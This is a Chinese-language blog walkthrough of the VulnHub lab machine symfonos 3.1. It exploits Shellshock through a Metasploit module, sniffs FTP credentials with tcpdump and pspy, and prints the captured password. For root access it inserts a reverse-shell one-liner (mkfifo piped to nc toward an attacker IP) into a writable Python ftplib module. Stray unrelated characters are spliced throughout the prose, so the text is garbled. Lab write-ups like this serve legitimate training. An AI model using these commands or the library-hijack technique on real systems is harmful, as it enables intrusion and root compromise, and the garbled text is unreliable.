標(biāo)簽:shellshock破殼、CVE-2014-6271、嗅探ftp數(shù)據(jù)包捎废、python提權(quán)
0x00 環(huán)境準(zhǔn)備
下載地址:https://www.vulnhub.com/entry/symfonos-31,332/
flag數(shù)量:1
攻擊機:kali
攻擊機地址:192.168.1.31
靶機描述:
Intermediate real life based machine designed to test your skill at enumeration. If you get stuck remember to try different wordlist, avoid rabbit holes and enumerate everything thoroughly. SHOULD work for both VMware and Virtualbox.
For hints you're welcome to contact me via Twitter @zayotic
## Changelog v3.1 - 2020-04-07 v3.0 - 2019-07-20
0x01 信息搜集
1.探測靶機地址
命令:arp-scan -l
靶機地址是192.168.1.43
2.探測靶機開放端口
命令:nmap -sV -p- 192.168.1.43
看一下80端口
就是一張圖片曹洽,由于這次沒有smb服務(wù)了,再看看80端口上還有沒有其他信息蹭沛。
按F12看一下源碼
發(fā)現(xiàn)有一句注釋臂寝,翻譯過來大概是“你能破獲地下世界嗎?”摊灭。感覺是要掃描目錄咆贬。
3.目錄掃描
先用dirb掃描一下,命令:dirb http://192.168.1.43
發(fā)現(xiàn)了一些目錄帚呼,訪問一下看看掏缎,發(fā)現(xiàn)http://192.168.1.43/gate/
可以正常訪問
再爆破一下gate下的目錄,但是沒有爆破出來什么煤杀。
嘗試使用dirbuster工具進行爆破
掃描出一堆/cdi-bin/
下的目錄
打開幾個看一下
發(fā)現(xiàn)打開的幾個頁面都是這樣的眷蜈,只是時間不同。這個像是uptime
命令的輸出結(jié)果沈自。
去看了一下表哥的文章酌儒,發(fā)現(xiàn)這里存在shellshock漏洞。
0x02 shellshock漏洞getshell
CVE編號:CVE-2014-6271
漏洞成因:
Bash 4.3以及之前的版本在處理某些構(gòu)造的環(huán)境變量時存在安全漏洞酥泛,向環(huán)境變量值內(nèi)的函數(shù)定義后添加多余的字符串會觸發(fā)此漏洞今豆,攻擊者可利用此漏洞改變或繞過環(huán)境限制嫌拣,以執(zhí)行任意的shell命令,甚至完全控制目標(biāo)系統(tǒng)
受到該漏洞影響的bash使用的環(huán)境變量是通過函數(shù)名稱來調(diào)用的,以“(){”開頭通過環(huán)境變量來定義的呆躲。而在處理這樣的“函數(shù)環(huán)境變量”的時候异逐,并沒有以函數(shù)結(jié)尾“}”為結(jié)束,而是一直執(zhí)行其后的shell命令
影響版本:
關(guān)于該漏洞的其他詳細(xì)信息可看https://www.freebuf.com/articles/system/45390.html
在msf中找找看有沒有利用工具插掂。
打開msf灰瞻,查找shellshock利用模塊,命令:search shellshock
由于靶機使用的是apache辅甥,這里選擇使用exploit/multi/http/apache_mod_cgi_bash_env_exec模塊酝润,命令:use exploit/multi/http/apache_mod_cgi_bash_env_exec
設(shè)置參數(shù):
利用成功:
0x03 嗅探ftp數(shù)據(jù)包
這個靶機的提權(quán)有點CTF的味道,我參考的表哥的文章進行提權(quán)璃弄。以下內(nèi)容都是參考表哥的文章要销。
下載pspy工具https://github.com/DominicBreuker/pspy,進行嗅探夏块。
pspy是一種命令行工具疏咐,旨在無需root權(quán)限即可監(jiān)聽進程。它使您可以查看其他用戶執(zhí)行的命令脐供,cron作業(yè)等浑塞。非常適合枚舉CTF中的Linux系統(tǒng)。很好地向您的同事展示為什么在命令行中將秘密作為參數(shù)傳遞是一個壞主意政己。
該工具從procfs掃描中收集信息酌壕。放置在文件系統(tǒng)選定部分上的Inotify觀察程序?qū)⒂|發(fā)這些掃描,以捕獲短暫的進程歇由。
使用python切換到shell環(huán)境卵牍,輸入uname -a
查看機器是64位的,那就下載64位的pspy
切換到/tmp目錄進行下載印蓖,命令:wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64
然后給pspy64執(zhí)行權(quán)限chmod 777 pspy64
辽慕,輸入命令:./pspy64 -pf -c -i 1000
在這里發(fā)現(xiàn)ftpclient.py正在運行,而且UID=0赦肃,說明正在以root的身份運行
ftp協(xié)議是明文傳輸?shù)?/strong>溅蛉,如果能抓到ftp的包,那就可以得到賬號密碼了他宛。那么使用什么工具抓包呢船侧?比較常用的是tcpdump,查看靶機上是否安裝了tcpdump厅各,命令:tcpdump --version
靶機上已經(jīng)安裝了tcpdump镜撩,那就使用它來抓包。
查看靶機上有哪些網(wǎng)絡(luò)接口
tcpdump一般抓取loopback狀態(tài)的接口队塘,這里抓取lo接口袁梗,命令:tcpdump -i lo -w ftp.pcap
將ftp.pcap下載到kali上使用wireshark進行分析宜鸯。
在靶機上開啟臨時http服務(wù)
在kali上下載
使用wirewhark打開,輸入tcp.port==21
篩選遮怜,在下面符合條件的數(shù)據(jù)包中找一條淋袖,右鍵“追蹤流”
然后就能看到賬號密碼了。
賬號密碼:hades \ PTpZTfU4vxgzvRBE
0x04 提權(quán)
使用剛才拿到的ftp賬號嘗試登錄ssh锯梁,
登錄成功
剛才使用pspy工具的時候發(fā)現(xiàn)即碗,ftpclient.py是以root身份運行的,如果hades用戶具有對ftpclient.py腳本的寫入權(quán)限陌凳,那么就可以提權(quán)剥懒。
很遺憾hades用戶組只有讀權(quán)限沒有寫權(quán)限,看一下ftpclient.py的代碼吧
使用命令查找一下hades對哪些文件有寫權(quán)限吧合敦,命令:find / -writable -type d 2>/dev/null
誒初橘,在里面發(fā)現(xiàn)我們對python2.7目錄下的文件有寫權(quán)限。剛才我們查看了ftpclient.py文件蛤肌,其中會import ftplib
模塊壁却,如果我們可以修改ftplib模塊,在ftpclien.py文件運行的時候裸准,就會執(zhí)行我們修改后的代碼,那么就可以反彈shell了赔硫。
使用nano工具進行編輯炒俱,命令:nano ftplib.py
將反彈shell語句插入進去,語句:import os;os.system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.xxx.xxxx 7777 >/tmp/f')
然后保存退出
在kali上監(jiān)聽7777端口爪膊,等待反彈
大約等了2分鐘权悟,接收到了,身份是root
flag在/root目錄下
0x05 小結(jié)
靶機從破殼漏洞開始推盛,使用msf拿到shell峦阁,之后使用pspy工具發(fā)現(xiàn)ftp軟件正在運行,由于ftp是明文傳輸?shù)脑懦桑栽趂tp的數(shù)據(jù)包中可以看到賬號密碼榔昔,然后使用tcpdump工具抓包,發(fā)現(xiàn)了ftp的賬號密碼瘪菌。巧合的是SSH服務(wù)使用的賬號密碼和FTP服務(wù)是同一個撒会,所以可以使用FTP服務(wù)登錄SSH服務(wù),之后通過向ftplib.py文件中追加命令進行提權(quán)师妙。
由于我不會每天都登錄簡書诵肛,所以有什么私信或者評論我都不能及時回復(fù),如果想要聯(lián)系我最好給我發(fā)郵件默穴,郵箱:Z2djMjUxMTBAMTYzLmNvbQ==怔檩,如果發(fā)郵件請備注“簡書”
參考鏈接:
1.vulnhub - /symfonos-3 (考點:shellshock & tcpdump /cap & linux修改py提權(quán))
2.『VulnHub系列』symfonos: 3-Walkthrough
3.tcpdump抓包使用小結(jié)
4.破殼(ShellShock)漏洞樣本分析報告
5.CVE-2014-6271破殼(shellshock)漏洞復(fù)現(xiàn)記錄
6.https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_-_linux.html